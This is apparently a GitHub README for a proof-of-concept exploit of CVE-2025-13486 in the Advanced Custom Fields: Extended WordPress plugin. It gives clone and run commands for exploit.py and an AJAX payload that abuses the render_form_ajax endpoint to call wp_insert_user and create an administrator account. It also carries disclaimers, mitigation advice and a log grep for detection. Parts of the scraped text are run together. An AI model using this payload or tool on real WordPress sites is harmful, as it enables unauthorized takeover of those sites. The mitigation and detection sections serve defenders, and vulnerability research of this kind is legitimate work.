0xgh057r3c0n/cve-2025-13486Advanced Custom Fields Extended (ACFE) WordPress Plugin Exploit RCE - Admin Creation
Proof-of-concept exploit for CVE-2025-13486, a critical vulnerability in the Advanced Custom Fields: Extended (ACFE) WordPress plugin that allows Remote Code Execution leading to Privilege Escalation.
| Aspect | Details |
|---|
| CVE ID | CVE-2025-13486 |
| Plugin | Advanced Custom Fields: Extended (ACFE) |
| Type | Remote Code Execution → Privilege Escalation |
| Risk Level | Critical |
| Affected Versions | ACFE vulnerable versions (specific versions TBD) |
| CVSS Score | 9.8 CRITICAL |
| Discovery Date | 2025 |
| Author | 0xgh057r3c0n |
⚠️ WARNING: This tool is for authorized security testing and educational purposes ONLY.
✅ Permitted Use:
❌ Prohibited Use:
The author is not liable for any misuse of this tool. Always obtain proper written authorization before testing any system.
print_r functionwp_insert_userrequests library# Clone repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-13486.git
cd CVE-2025-13486
# Install dependencies
pip install requests
# Alternative: Install from requirements.txt
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
Create a requirements.txt file:
requests>=2.25.1
python3 exploit.py --url <TARGET_URL> [OPTIONS]
python3 exploit.py --url http://target.com --verify
python3 exploit.py --url https://target.com
python3 exploit.py --url https://target.com \
--user backup_admin \
--password "P@ssw0rd123!" \
--email [email protected]
python3 exploit.py --url target.com --verify
| Option | Description | Required | Default |
|---|---|---|---|
-u, --url | Target WordPress URL | Yes | - |
--verify | Verify only, no exploitation | No | False |
--user | Custom username for admin | No | admin_XXXXX |
--password | Custom password for admin | No | Random 12 chars |
--email | Custom email for admin | No | [email protected] |
The exploit leverages improper function handling in the ACFE plugin's acfe/form/render_form_ajax endpoint, allowing attackers to call arbitrary PHP functions.
1. URL Validation → Auto-detects HTTP/HTTPS
2. Nonce Extraction → Scans page for ACF nonce
3. Payload Construction → Builds malicious AJAX request
4. Request Execution → Sends exploit to target
5. Result Analysis → Checks for success indicators
// Vulnerable code pattern in ACFE
$result = call_user_func_array($form['render'], array($form));
// Exploit payload structure
{
"action": "acfe/form/render_form_ajax",
"nonce": "extracted_nonce",
"form[render]": "wp_insert_user",
"form[user_login]": "attacker_user",
"form[user_pass]": "attacker_pass",
"form[user_email]": "[email protected]",
"form[role]": "administrator"
}
# Recommended security plugins
1. Wordfence Security
2. Sucuri Security
3. iThemes Security
4. All In One WP Security
# Server-level protections
- Implement rate limiting
- Enable mod_security rules
- Use Cloudflare or similar CDN
- Regular security audits
/wp-admin/admin-ajax.phpaction=acfe/form/render_form_ajaxwp_insert_user function calls via AJAX# Apache logs
grep "admin-ajax.php" /var/log/apache2/access.log | grep "acfe/form"
# WordPress debug logs
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
git checkout -b feature/improvement)git commit -am 'Add new feature')git push origin feature/improvement)Please report bugs and issues via:
CVE-2025-13486/
├── exploit.py # Main exploit script
├── README.md # This documentation
├── requirements.txt # Python dependencies
├── LICENSE # MIT License file
├── examples/ # Usage examples
│ ├── verification.txt
│ └── exploitation.txt
└── tests/ # Test scripts
├── test_verify.py
└── test_exploit.py
0xgh057r3c0n - Security Researcher
This project is licensed under the MIT License - see the LICENSE file for details.
Built with ❤️ for the security community
⚠️ Use responsibly and ethically ⚠️